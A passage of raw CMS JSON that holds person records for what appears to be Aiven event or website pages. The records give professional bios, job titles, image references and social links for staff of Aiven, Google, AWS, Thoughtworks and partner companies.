industrial experience. She holds a Ph.D. in Computer Science from the University of Saint Petersburg, Russia. At present she is: "}],"markDefs":[],"style":"normal"},{"_key":"086cff3405ff","_type":"block","children":[{"_key":"1cd6db9f9d33","_type":"span","marks":[],"text":"Database Architect at DRW Holdings in Chicago, IL "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6cd93ff6a4eb","_type":"block","children":[{"_key":"c9da9d65f946","_type":"span","marks":[],"text":"Local Organizer of the Chicago PostgreSQL User Group "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"44ace74d7d14","_type":"block","children":[{"_key":"81f478079f1d","_type":"span","marks":[],"text":"Active community member, a frequent speaker at the PostgreSQL Conferences "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2363e35c8108","_type":"block","children":[{"_key":"9635d9e00c17","_type":"span","marks":[],"text":"A researcher focused on developing efficient interactions between applications and databases and implementation of temporal data "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d591307f9a99","_type":"block","children":[{"_key":"e82b40575abc","_type":"span","marks":[],"text":"An author of the PostgreSQL Query Optimization book"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Hettie Dombrovskaya","asset":{"_ref":"image-2f10e59e7447f1ba302154143313977977a5301e-3024x4032-jpg","_type":"reference"}},"jobTitle":"Database Architect, DRW","name":"Hettie Dombrovskaya","role":"community-advocates","slug":{"_type":"slug","current":"/hettie-dombrovskaya"},"socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/henrietta-dombrovskaya-367b26/","twitter":"https://twitter.com/HettieDombr","website":"https://hdombrovskaya.wordpress.com/"},"specialtyTopicTags":["PostgreSQL","optimizing everything","blogging","public speaking","community organizing"]} {"__i18n_lang":"en","_createdAt":"2022-05-31T07:42:59Z","_id":"d8ba49d5-3150-48bf-9bb6-a7f6661f1208","_rev":"9KXJIj517MDuzut1Td0w6B","_type":"person","_updatedAt":"2024-10-28T07:49:44Z","author":{"_ref":"23npxnYfL41QURg8oY8Lat","_type":"reference"},"bio":[{"_key":"5ae516ae54aa","_type":"block","children":[{"_key":"2b9faa0d9bd70","_type":"span","marks":[],"text":"Soumya is a seasoned product leader with a diverse background spanning telco, banking, security, and cloud infrastructure. She is passionate about building organizations that leverage technology to build innovative solutions that empower businesses and drive growth. She thrives in fast-paced environments, always seeking new challenges and opportunities to learn and grow."}],"markDefs":[],"style":"normal"}],"content":[{"_key":"e2971a38de1e","_type":"block","children":[{"_key":"f59c5d23e2bd","_type":"span","marks":[],"text":"\"I love the fact that my role at Aiven gives me the opportunity to contribute towards turning our company objectives into cross-functionally aligned tactics.\""}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-343002c7c55ef22c1989118db3fe1e6b085525ad-860x860-jpg","_type":"reference"}},"jobTitle":"SVP, Product, Aiven","name":"Soumya Bijjal","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/soumyabijjal"}} {"__i18n_lang":"en","_createdAt":"2024-04-08T19:36:06Z","_id":"1eaa40ea-2f7c-4a09-8cf7-eb8bdc7064c9","_rev":"ajOdr4DX4POKI5xrBRFS3w","_type":"person","_updatedAt":"2024-04-17T14:25:54Z","bio":[{"_key":"1e579b72591c","_type":"block","children":[{"_key":"11c803be555f","_type":"span","marks":[],"text":"Larry has been in the data, analytics, and event streaming space for more than 20 years, making contributions for Fortune 500 companies as well as several startups."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-e7627605ff6e5495107c386256c471df59bfa53d-512x512-png","_type":"reference"}},"jobTitle":"Head of Product Marketing, Aiven","name":"Larry Heathcote"} {"__i18n_lang":"en","_createdAt":"2023-10-25T13:24:38Z","_id":"6ecf75d4-d400-4a27-9eb3-c3f0f0eaa73f","_rev":"K1w697WALr3R6LR2giGF9r","_type":"person","_updatedAt":"2024-04-17T14:43:54Z","bio":[{"_key":"0f0109be4ac7","_type":"block","children":[{"_key":"a4dbceff02800","_type":"span","marks":[],"text":"John has been in the data trenches for years since departing from Rocket Science as a degree, tackling everything from teleco networks to massive enterprise platforms. That hands-on experience gives him deep insight into customer pain points, guiding his product vision. He thrives on building great teams and his Irish heritage might have something to do with his love of direct customer."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-f2bf9f368d1ef8bf15a8df961001776c15103089-500x500-jpg","_type":"reference"}},"jobTitle":"Head of Databases, Product, Aiven","name":"John Joseph Kennedy","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/john-kennedy-5216b112/"}} {"__i18n_lang":"en","_createdAt":"2022-09-28T11:01:54Z","_id":"221ba44a-9a77-4ee5-a883-63cdfb045660","_rev":"DcneF66P6QscvZLjo8BqjU","_type":"person","_updatedAt":"2024-04-30T13:45:26Z","bio":[{"_key":"b22bb6951de9","_type":"block","children":[{"_key":"227aa5dd227c0","_type":"span","marks":[],"text":"Heikki is Field-CTO and Co-founder at Aiven, a trusted data and AI platform. With over two decades in software engineering and information security space, Heikki is passionate about developer productivity, open source and open standards and data management at scale."}],"markDefs":[],"style":"normal"}],"content":[{"_key":"094ed9edcc09","_type":"block","children":[{"_key":"7d2a46decc280","_type":"span","marks":[],"text":"\"One important part of open source is perhaps not only the code itself but also sharing information and what kind of business problems it helps to solve\""}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Heikki Nousiainen","asset":{"_ref":"image-c93a3f49aace022f7e4941b9613777b6e050908f-800x800-jpg","_type":"reference"}},"jobTitle":"Field CTO and Co-Founder, Aiven","name":"Heikki Nousiainen","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/heikki-nousiainen/"}} {"__i18n_lang":"en","_createdAt":"2024-04-30T13:22:16Z","_id":"7eab2173-a9de-4996-b2ce-abc03d85a1e5","_rev":"lI1OMJNS7f9WP80Vhdiqj2","_type":"person","_updatedAt":"2024-04-30T13:22:16Z","bio":[{"_key":"c858f68e9f89","_type":"block","children":[{"_key":"477696935e120","_type":"span","marks":[],"text":"Arik is a software developer and consultant with over 3 years of experience specializing in green software and cloud solutions. As a key contributor to the open-source Cloud Carbon Footprint project, Arik helps clients implement sustainable cloud solutions and modernization strategies. He is also a member of the Green Software Foundation’s Open Source working group and served as an analyst for the first ever sustainability chapter of the HTTP Web Archive’s Annual Web Almanac."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Arik from Thoughtworks","asset":{"_ref":"image-06de93116715695a86efa0f05a9778fbfec60e24-1000x1000-jpg","_type":"reference"}},"jobTitle":"Expert CCF \u0026 Green Cloud, former TWer","name":"Arik Smith","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/ariks/"}} {"__i18n_lang":"en","_createdAt":"2024-04-30T13:20:34Z","_id":"88867ca3-b103-49b4-ac3c-f52d01dd1ac1","_rev":"4CkiyUyzrvTW3s6mCoSkjf","_type":"person","_updatedAt":"2024-04-30T13:22:30Z","bio":[{"_key":"38eccbbc3564","_type":"block","children":[{"_key":"8ec87d0e0aa70","_type":"span","marks":[],"text":"Erik Dörnenburg is a software engineer and passionate technologist. As CTO Europe at Thoughtworks, he helps customers solve their business challenges with modern technologies, platforms and practices. On his 25-year journey through the tech industry, Erik has encountered a wealth of new technologies. That's why he and his colleagues created the Thoughtworks Technology Radar and Looking Glass Report, which focus on these very topics. Throughout his career, Erik has been an advocate of agile values and open source software. He is a regular speaker at international conferences, has contributed to several books and maintains several open source projects. Erik has a degree in Computer Science from the University of Dortmund and studied Computer Science and Linguistics at University College Dublin."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Erik from Thoughtworks","asset":{"_ref":"image-fccb43a883774738492a3c72a0b5e85aa2bfae96-700x657-png","_type":"reference"}},"jobTitle":"CTO Europe, Thoughtworks","name":"Erik Dörnenburg","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/edoernenburg/"}} {"__i18n_lang":"en","_createdAt":"2024-02-12T14:11:07Z","_id":"a2bf896d-f256-4f98-af02-55de53dc61a8","_rev":"2Op9OgqNBO1fad6Ozn0rcY","_type":"person","_updatedAt":"2024-08-14T20:01:56Z","bio":[{"_key":"40126dec3d24","_type":"block","children":[{"_key":"a7072df6f2b10","_type":"span","marks":[],"text":"Olivier has been driven to create, invent, and acquire new skills with more than 25 years of experience in digital transformation. He believes that one of the quickest and simplest routes between having an idea in our heads and making it happen is in the field of IT.\n"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-ecd8ac37d5849451adfd75b7a3733a98b19966eb-512x512-jpg","_type":"reference"}},"jobTitle":"Senior Partner Solution Architect, Aiven","name":"Olivier Huber","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/olivierhuber/"}} {"__i18n_lang":"en","_createdAt":"2024-05-03T10:58:11Z","_id":"18a649c8-37c1-4290-b4db-97f07d8ee38b","_rev":"ILS0AxpRQSb999R1zoTWph","_type":"person","_updatedAt":"2024-05-07T09:56:38Z","image":{"_type":"mainImage","asset":{"_ref":"image-2e3a1d9cc25c46e952cd6da5d33186dd48e42af3-600x600-jpg","_type":"reference"}},"jobTitle":"ISV Partner Engineer Lead, Data \u0026 AI, Google","name":"Delphin Barankanira","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/delphin-b-7565b7/"}} {"__i18n_lang":"en","_createdAt":"2024-05-20T15:07:43Z","_id":"e5d0d37d-3b26-42ff-8a3c-1136170c9587","_rev":"CK5Oetwu6foT4G1mbOG2qI","_type":"person","_updatedAt":"2024-05-20T15:10:14Z","image":{"_type":"mainImage","asset":{"_ref":"image-40a921e2c5a7279fb0a0a482926597bb9ce3851a-500x500-jpg","_type":"reference"}},"jobTitle":"ESG Lead, Aiven","name":"Julie Bastien","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/julie-bastien-31671884"}} {"__i18n_lang":"en","_createdAt":"2024-12-03T07:41:28Z","_id":"2511ae78-24c0-41b9-b6d5-0becad501412","_rev":"MBEnA07qAFzHqjXn9wg023","_type":"person","_updatedAt":"2024-12-03T07:41:28Z","image":{"_type":"mainImage","asset":{"_ref":"image-96958329c02d9053d71c71143f612ee09ec09d01-800x800-jpg","_type":"reference"}},"jobTitle":"Solutions Architect at IRORI","name":"Daniel Oldgren"} {"__i18n_lang":"en","_createdAt":"2024-06-05T10:58:19Z","_id":"bd32e7ab-7994-4fa3-b16d-cfb0a5a0c1e3","_rev":"H5RiVm6qz9bU1JxlR7aM8O","_type":"person","_updatedAt":"2024-06-05T11:02:48Z","image":{"_type":"mainImage","asset":{"_ref":"image-7c4077901b0a192307ae9227576cbbd731df51c4-500x500-jpg","_type":"reference"}},"jobTitle":" ","name":"To be announced"} {"__i18n_base":{"_ref":"7c78fa6e-bdbd-4b55-b018-ad4f190d0f73","_type":"reference"},"__i18n_lang":"de","_createdAt":"2024-06-13T08:35:16Z","_id":"7c78fa6e-bdbd-4b55-b018-ad4f190d0f73__i18n_de","_rev":"LnmbGgCbmGvYlSYQVMctgg","_type":"person","_updatedAt":"2024-06-13T08:35:57Z","image":{"_type":"mainImage","alt":"Verena, Google, image","asset":{"_ref":"image-99257ec64b1db98d0200affc7cf3d6c93fd42df3-2048x1365-jpg","_type":"reference"}},"jobTitle":"Kundentechniker-Manager, Google","name":"Verena Schustereder"} {"__i18n_lang":"en","_createdAt":"2022-09-13T09:12:31Z","_id":"76ca6172-29ec-4df1-a203-eb626cc1925e","_rev":"jEln45CgOQD4spzxey378d","_type":"person","_updatedAt":"2024-07-17T09:35:16Z","bio":[{"_key":"a0070b107d07","_type":"block","children":[{"_key":"87a14da168110","_type":"span","marks":[],"text":"Jamie Arlen is Aiven's CISO bringing a mix of security and engineering background to DBaaS (database as a service). Over the past nearly thirty years, Jamie has been delivering information security and engineering solutions to Fortune 500, TSE 100, and major public-sector organizations. Jamie is best described as: \"Infosec geek, hacker, social activist, author, speaker, and (grand) parent\". His areas of interest include organizational change, social engineering, blinky lights and shiny things."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-2ce9dc63f72b09eb3dcba4d7d5998ce8a5a3d873-1000x1000-jpg","_type":"reference"}},"jobTitle":"Chief Information Security Officer, Aiven","name":"James Arlen","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/jamesarlen"}} {"__i18n_lang":"en","_createdAt":"2024-07-30T09:14:18Z","_id":"7a45f554-54bc-4ec9-9170-5c2ae0f3fbc4","_rev":"Gc7Qq2PHZBylrD6rwJvDAZ","_type":"person","_updatedAt":"2024-07-31T08:19:55Z","bio":[{"_key":"1b47baf7815a","_type":"block","children":[{"_key":"b742ddd8c6320","_type":"span","marks":[],"text":"Stu Garrow has more than three decades of technology leadership and a wealth of enterprise sales experience. Based in Singapore, Stu leads Aiven’s overall business strategy and growth in the APAC region and focuses on sales and channel development, team and market expansion, and engaging customers, partners, and the community to accelerate Aiven’s journey in the market."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-98fd5879a8ebd1790fb8c234a1cefcb88095c4a6-800x800-jpg","_type":"reference"}},"jobTitle":"VP Sales, APAC, Aiven","name":"Stu Garrow","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/stugarrow/"}} {"__i18n_lang":"en","_createdAt":"2024-07-31T22:14:31Z","_id":"3e1510c9-2ee0-4b67-aab6-c05af72514e9","_rev":"m47zVAKzspt7UjVx7u8LTV","_type":"person","_updatedAt":"2024-07-31T22:16:04Z","bio":[{"_key":"f91d08a5af4b","_type":"block","children":[{"_key":"bccd12e9530b0","_type":"span","marks":[],"text":"With over a decade of experience in the tech industry, David brings a deep understanding of the evolving digital landscape. Prior to joining Google Cloud, he held various leadership positions in sales at AWS and Amazon.com, where he honed his expertise in driving growth and customer success. David began his career in business development at FTV and JS Webpromotion, building his foundation in sales and marketing."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-fbf39479d7366f1eefc7bb332bc66858ff3dc8a0-395x395-png","_type":"reference"}},"jobTitle":"Director of Sales for Digital Natives \u0026 Startups Germany at Google Cloud","name":"David Weiner","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/weinerd/"}} {"__i18n_lang":"en","_createdAt":"2024-03-06T22:43:10Z","_id":"f2686486-2cf1-4777-a9a4-e8673dac62e0","_rev":"YaKEzcVhnb7P0fmfv99I76","_type":"person","_updatedAt":"2024-07-31T22:51:18Z","bio":[{"_key":"3088484f050e","_type":"block","children":[{"_key":"493d15014f3a0","_type":"span","marks":[],"text":"Clayton is the Sales Director for UK \u0026 Northern Europe at Aiven, where he leads efforts to simplify technology challenges and accelerate business outcomes with managed open-source data technologies. With over 14 years of experience in enterprise and Digital Native sales and several years in the Big Data and advanced analytics space, he has worked with industry leaders across multiple verticals. Known for his strategic planning and customer-focused approach, he has a track record of helping organisations accelerate the time to value of Data and AI initiatives while improving productivity and reducing costs."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-c7104cb805258fb3331c116c0d8a21b479f9593b-512x512-jpg","_type":"reference"}},"jobTitle":"EMEA Sales Director at Aiven","name":"Clayton Sammuller","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/claytons/"}} {"__i18n_lang":"en","_createdAt":"2023-05-02T16:25:11Z","_id":"0ea12376-56da-4d7f-a2db-a547576f273a","_rev":"5y7swPKAcYPWMoG0mxzYdZ","_type":"person","_updatedAt":"2024-08-09T10:12:24Z","bio":[{"_key":"3326c5e0b69a","_type":"block","children":[{"_key":"c679ac8166800","_type":"span","marks":[],"text":"Ian Massingham, Chief Marketing Officer at Aiven, leads global marketing to drive awareness, adoption, and engagement with Aiven's cloud data platform. A strong advocate for cloud computing since 2008, Ian has held leadership roles at AWS and MongoDB, and is widely regarded for his influence in the global cloud computing community."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Ian Massingham","asset":{"_ref":"image-9f4932d474515877c0d991fab2bf847b1d9c7344-800x800-jpg","_type":"reference"}},"jobTitle":"Chief Marketing Officer, Aiven","name":"Ian Massingham","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/imassingham/"}} {"__i18n_lang":"en","_createdAt":"2024-08-08T11:53:53Z","_id":"8e34e2b5-69dc-4f34-b901-98545d1386c6","_rev":"5y7swPKAcYPWMoG0my6uL2","_type":"person","_updatedAt":"2024-08-09T11:36:13Z","bio":[{"_key":"be833e3693d8","_type":"block","children":[{"_key":"31cedb078a270","_type":"span","marks":[],"text":"Matan is a talented Senior DevOps Engineer with extensive experience in cloud architecture and infrastructure. He enjoys experimenting with new technologies and introducing innovative solutions, always keeping dynamic demands and product needs in mind. Matan is passionate about enhancing the collaboration between R\u0026D and DevOps, effectively bridging the gap between infrastructure and application development."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-8f593eb99aab13eb0491cb48177529c052c5c689-800x800-jpg","_type":"reference"}},"jobTitle":"Senior DevOps Engineer, Claroty","name":"Matan Mizrahi","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/matan-mizrahi-2106"}} {"__i18n_lang":"en","_createdAt":"2024-07-11T08:03:09Z","_id":"9f8bb8e7-d92f-4dde-9359-e4d40694008d","_rev":"5y7swPKAcYPWMoG0mqj9kt","_type":"person","_updatedAt":"2024-08-07T02:33:02Z","bio":[{"_key":"14acd66626a6","_type":"block","children":[{"_key":"6aedd599506d","_type":"span","marks":[],"text":"Jakob brings 12 years of experience in building enterprise-ready, highly scalable SaaS solutions. Over the past four years, he has led and scaled the engineering teams at Talon.One, driving business and product growth. Jakob promotes conscious growth, focusing on individual motivation and productivity to ensure success. His leadership style balances business needs with team well-being, fostering innovation and efficiency.\n\n"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-abc1c02313396e26f7890624ff9f3526597bc653-1550x1574-png","_type":"reference"}},"jobTitle":"CTO, Talon.One","location":"Berlin","name":"Jakob Shimony ","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/jakob-shimony/"}} {"__i18n_lang":"en","_createdAt":"2024-10-11T14:31:57Z","_id":"f1cc6c58-fd4e-42c5-8fa1-8d642ec53558","_rev":"bH41C32nCYYyBv2hLJBYv8","_type":"person","_updatedAt":"2024-10-28T07:45:00Z","image":{"_type":"mainImage","asset":{"_ref":"image-a3405d47be3a16ab5ebf3caa81468571a3aa7629-773x773-jpg","_type":"reference"}},"jobTitle":"VP Revenue Operations, Aiven","name":"Conor Forde","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/conor-forde-05177112/"}} {"__i18n_lang":"en","_createdAt":"2023-07-25T06:58:15Z","_id":"a0816dd6-62f2-4db1-af43-06d23379bd95","_rev":"eOGTVivSz2oqfsen7Pc6dy","_type":"person","_updatedAt":"2024-10-28T07:49:10Z","bio":[{"_key":"30ba1377caf3","_type":"block","children":[{"_key":"3494ab87c1260","_type":"span","marks":[],"text":"Dimitri is VP of Corporate Development \u0026 ESG at Aiven and a member of the executive team, showing the importance sustainability plays in Aiven’s agenda. Dimitri drives Aiven to pioneer innovative cloud emission reduction solutions, to help customers achieve sustainability goals and inspire others to join the climate action journey. He is also responsible for decarbonisation initiatives within Aiven’s own operating footprint."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-76a37a4039c9f8b5a3ff40af11e00528087afb3c-477x477-jpg","_type":"reference"}},"jobTitle":"VP Corporate Development, Aiven","name":"Dimitri Casvigny","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/dimitri-casvigny-45a56276"}} {"__i18n_lang":"en","_createdAt":"2024-08-22T08:06:30Z","_id":"365f022d-1ca1-4016-b371-c26acf97fe8d","_rev":"tXj82aAr3VYUsa9AwlP6fV","_type":"person","_updatedAt":"2024-08-23T06:53:42Z","image":{"_type":"mainImage","asset":{"_ref":"image-6fd9f83965e5ff6b67348e500c7fe2754c3f6652-800x800-jpg","_type":"reference"}},"jobTitle":"Director, EMEA Marketing and Global Customer Marketing, Aiven","name":"Florian Engel"} {"__i18n_lang":"en","_createdAt":"2024-08-23T16:21:59Z","_id":"36603ccf-30ea-41fd-8694-87182c13ab96","_rev":"1OyjLnRDvuzO2Q4Gk15Fu6","_type":"person","_updatedAt":"2024-09-22T23:50:44Z","image":{"_type":"mainImage","asset":{"_ref":"image-59bfe34f664f7c2062349637430d179bd6bbb6f2-800x800-jpg","_type":"reference"}},"jobTitle":"Customer Solution Consultant at Google Cloud","name":"Johanes Glenn","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/johanes-glenn/"}} {"__i18n_lang":"en","_createdAt":"2024-05-28T06:55:11Z","_id":"6c342edc-53ce-4963-8f9f-8de3eee5cf51","_rev":"vxdiygNMKB9xDhiP9eTxVy","_type":"person","_updatedAt":"2024-08-27T02:07:07Z","author":{"_ref":"b42de39a-603a-4cdc-8cb4-3a569caf620c","_type":"reference"},"bio":[{"_key":"4b66a18f0e13","_type":"block","children":[{"_key":"7d9aee100aa10","_type":"span","marks":[],"text":"Over the last 10 years, Janki has successfully led technical partnerships collaborating with Google Cloud and AWS to build database and caching solutions for gaming and media. Additionally, she has spearheaded GTM strategy partnered with AWS' product leadership for 19 AWS Analytics and Database services for multiple industries. Janki also is a proud alumna from University of Wisconsin-Madison (Go Badgers!)...fun fact, she studied Genetics and did research before moving to the cloud industry!"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-804f7c25a5a176ad0d9ce387948268bbba8637c9-1595x1829-jpg","_type":"reference"}},"jobTitle":"AI, Platform, Open Source Product Marketing Leader, Aiven","name":"Janki Patel Westenberg","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/janki-patel-westenberg-8387677b/"}} {"__i18n_lang":"en","_createdAt":"2024-10-07T13:36:58Z","_id":"a66eda18-f621-4a8f-8a9c-3e906fb2911a","_rev":"6j6P61R1foxseviy5x8yVH","_type":"person","_updatedAt":"2024-10-07T13:38:30Z","image":{"_type":"mainImage","asset":{"_ref":"image-68c2dd630de0d9703f6d4bb64700dfa1add5bf07-400x400-jpg","_type":"reference"}},"jobTitle":"Senior Partner Solution Architect, AWS","name":"Christophe Renard","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/christophe-renard-b401535/"}} {"__i18n_lang":"en","_createdAt":"2024-10-07T13:35:54Z","_id":"5f3d584b-6dd1-4f27-aa14-8cccb89f8415","_rev":"YCChuIq0XLO0YzXRMCr8NT","_type":"person","_updatedAt":"2024-10-07T13:38:02Z","image":{"_type":"mainImage","asset":{"_ref":"image-bc7cb677d5b7163de85b372dbfbed7b5cebe33c8-512x512-png","_type":"reference"}},"jobTitle":"Hyperscalers Lead - EMEA, Aiven","name":"Gianluca Dessì","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/gianlucadessi/"}} {"__i18n_lang":"en","_createdAt":"2024-09-23T10:13:19Z","_id":"43cec69a-5f28-4701-916b-f274f2b8e968","_rev":"qobFP6o3d5Cfo6v5i0dPat","_type":"person","_updatedAt":"2024-09-23T10:54:35Z","bio":[{"_key":"60ef280bf331","_type":"block","children":[{"_key":"7015b5e4bb9e0","_type":"span","marks":[],"text":"Kyle Kearns, VP of EMEA Sales at Aiven, has 14 years of experience and focuses on partner-first GTM strategies to drive growth across diverse sectors. He possesses a deep understanding of hyperscalers, having collaborated extensively with leading cloud providers to identify and deliver the right cloud solutions for their complex business needs. Before Aiven, Kyle was instrumental in Databricks' early EMEA expansion. Kyle holds a BA in Business Economics from Strathclyde Business School."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-1fff6ed76534a1a78d5a621c932400a223eccab7-800x800-jpg","_type":"reference"}},"jobTitle":"VP of EMEA Sales, Aiven","name":"Kyle Kearns","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/kearnskyle/"}} {"__i18n_lang":"en","_createdAt":"2024-09-23T10:22:19Z","_id":"516bb0d2-5baa-4602-a148-cf69f67dc2e5","_rev":"1OyjLnRDvuzO2Q4Gk2bM8U","_type":"person","_updatedAt":"2024-09-23T10:53:37Z","bio":[{"_key":"c2ff0e0a772e","_type":"block","children":[{"_key":"ce3a7c5b44990","_type":"span","marks":[],"text":"With over 15 years in IT, Zoltan specializes in business application development and deployment. For the past three years, he has focused on cloud-based projects. Currently, he leads the Integration Platform Service cam at REWE, a leading German retail company. Zoltan's uses his expertise in cloud technology and integration platforms to drive innovation at REWE to provide the best experiences for their customers. He's focused on providing automated self-service solutions for developers using Kafka and Istio on Kubernetes."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-81e7b06280ff2e9b74914b560ff6f500d66b0e10-321x228-png","_type":"reference"}},"jobTitle":"Integration Platform Service Leader, REWE Group","name":"Zoltán Lámer","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/zoltanlamer/"}} {"__i18n_lang":"en","_createdAt":"2024-08-01T13:48:14Z","_id":"30c5c9c5-8d13-456d-acb3-cb809c409b1d","_rev":"YWHkZRhDz94HWGkESpXpCF","_type":"person","_updatedAt":"2024-09-22T23:53:00Z","bio":[{"_key":"3d3bbd49ce9a","_type":"block","children":[{"_key":"468caebef9d60","_type":"span","marks":[],"text":"Amine is the Solutions Architect Director for APAC, at Aiven. He started his career as a Java/JEE developer, before pivoting to the consulting world where he led various digital transformation projects around Service-oriented Architecture, Data Governance and Big Data. He then transitioned to Solutions Architecture, where he held several SA leadership positions at Talend and Databricks across EMEA and APAC prior to joining Aiven."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-6d83c22a2ad613f37b17fb6522e5dd5d2f3e7bd2-580x580-jpg","_type":"reference"}},"jobTitle":"Director of APAC Solution Architecture, Aiven","name":"Amine Slimane","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/amine-slimane/"}} {"__i18n_lang":"en","_createdAt":"2024-07-31T02:29:44Z","_id":"d721da85-e95b-4503-b257-78b955b919c1","_rev":"qobFP6o3d5Cfo6v5hzJU48","_type":"person","_updatedAt":"2024-09-22T23:53:12Z","image":{"_type":"mainImage","asset":{"_ref":"image-fb8cc49e448ee22473002d12b2fa5aff40987011-800x800-jpg","_type":"reference"}},"jobTitle":"CTO, Vidio","name":"Tommy Sullivan","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/tommybsullivan/","website":"https://www.vidio.com/"}} {"__i18n_lang":"en","_createdAt":"2024-09-23T10:16:32Z","_id":"841df4c0-baf6-47e3-8fcd-d6ce825f496e","_rev":"YWHkZRhDz94HWGkESq1408","_type":"person","_updatedAt":"2024-09-23T10:53:54Z","bio":[{"_key":"5dd1272f4322","_type":"block","children":[{"_key":"14b41b29eab30","_type":"span","marks":[],"text":"Michael has been Director of Retail, CPG, Travel and Logistics at Google Cloud in Germany since January 2020. He is responsible for overall revenue, business strategy development and identifying new growth opportunities in Retail, Consumer Packaged Goods, Travel and Logistics. Overall, Michael has held various leadership positions at Google since 2011 and previously held other executive positions at Microsoft, Hewlett Packard and Compaq. Michael Korbacher holds a degree in Business Informatics from the University of Applied Sciences in Würzburg, Germany."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-7d4bfdfb32cd4210b6ed6676f8d295e751091dd1-727x727-png","_type":"reference"}},"jobTitle":"Director Retail, CPG, Travel and Logistics at Google Cloud","name":"Michael Korbacher","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/michaelkorbacher/"}} {"__i18n_lang":"en","_createdAt":"2022-05-26T12:15:55Z","_id":"9a86a58e-01c4-415f-bfb1-e52b92f6a799","_rev":"jvX45fVrMTONcXvY2UC7Te","_type":"person","_updatedAt":"2024-10-21T07:43:39Z","bio":[{"_key":"c25095ba045b","_type":"block","children":[{"_key":"ab138412ea990","_type":"span","marks":[],"text":"Oskari Saarenmaa, a programmer turned CEO, co-founded Aiven, a scale-up software company that transforms top open-source data technologies into managed cloud services on public cloud infrastructure. Under Oskari’s leadership, Aiven has secured over $400m in VC funding and scaled to deliver a trusted data and AI platform to 1,000+ customers globally."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Oskari Saarenmaa","asset":{"_ref":"image-1f8b579fbd8ccd5a4dbf531b0482e68bc0c8ab90-1622x1622-jpg","_type":"reference"}},"jobTitle":"Chief Executive Officer, Aiven","name":"Oskari Saarenmaa","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/oskarisaarenmaa"}} {"__i18n_lang":"en","_createdAt":"2023-07-26T08:04:42Z","_id":"644e4ddb-85c7-4dcb-8792-a0050f2ad2e0","_rev":"jvX45fVrMTONcXvY2UBW3u","_type":"person","_updatedAt":"2024-10-21T07:41:30Z","bio":[{"_key":"e59d8c5f4db7","_type":"block","children":[{"_key":"0d304b0171190","_type":"span","marks":[],"text":"Bob Krygowski is a Director of Product Management at Aiven, responsible for Aiven’s platform, which enables customers to consume 11 leading open source data products across multiple clouds. Bob has diverse experience across product management and consulting for cloud infrastructure, cloud migration, and cloud managed services. In addition to Aiven, Bob has worked for leading enterprise cloud services companies, including AWS, 2nd Watch, HP Enterprise, and DXC. Bob received his Bachelor of Science in Economics from Bentley 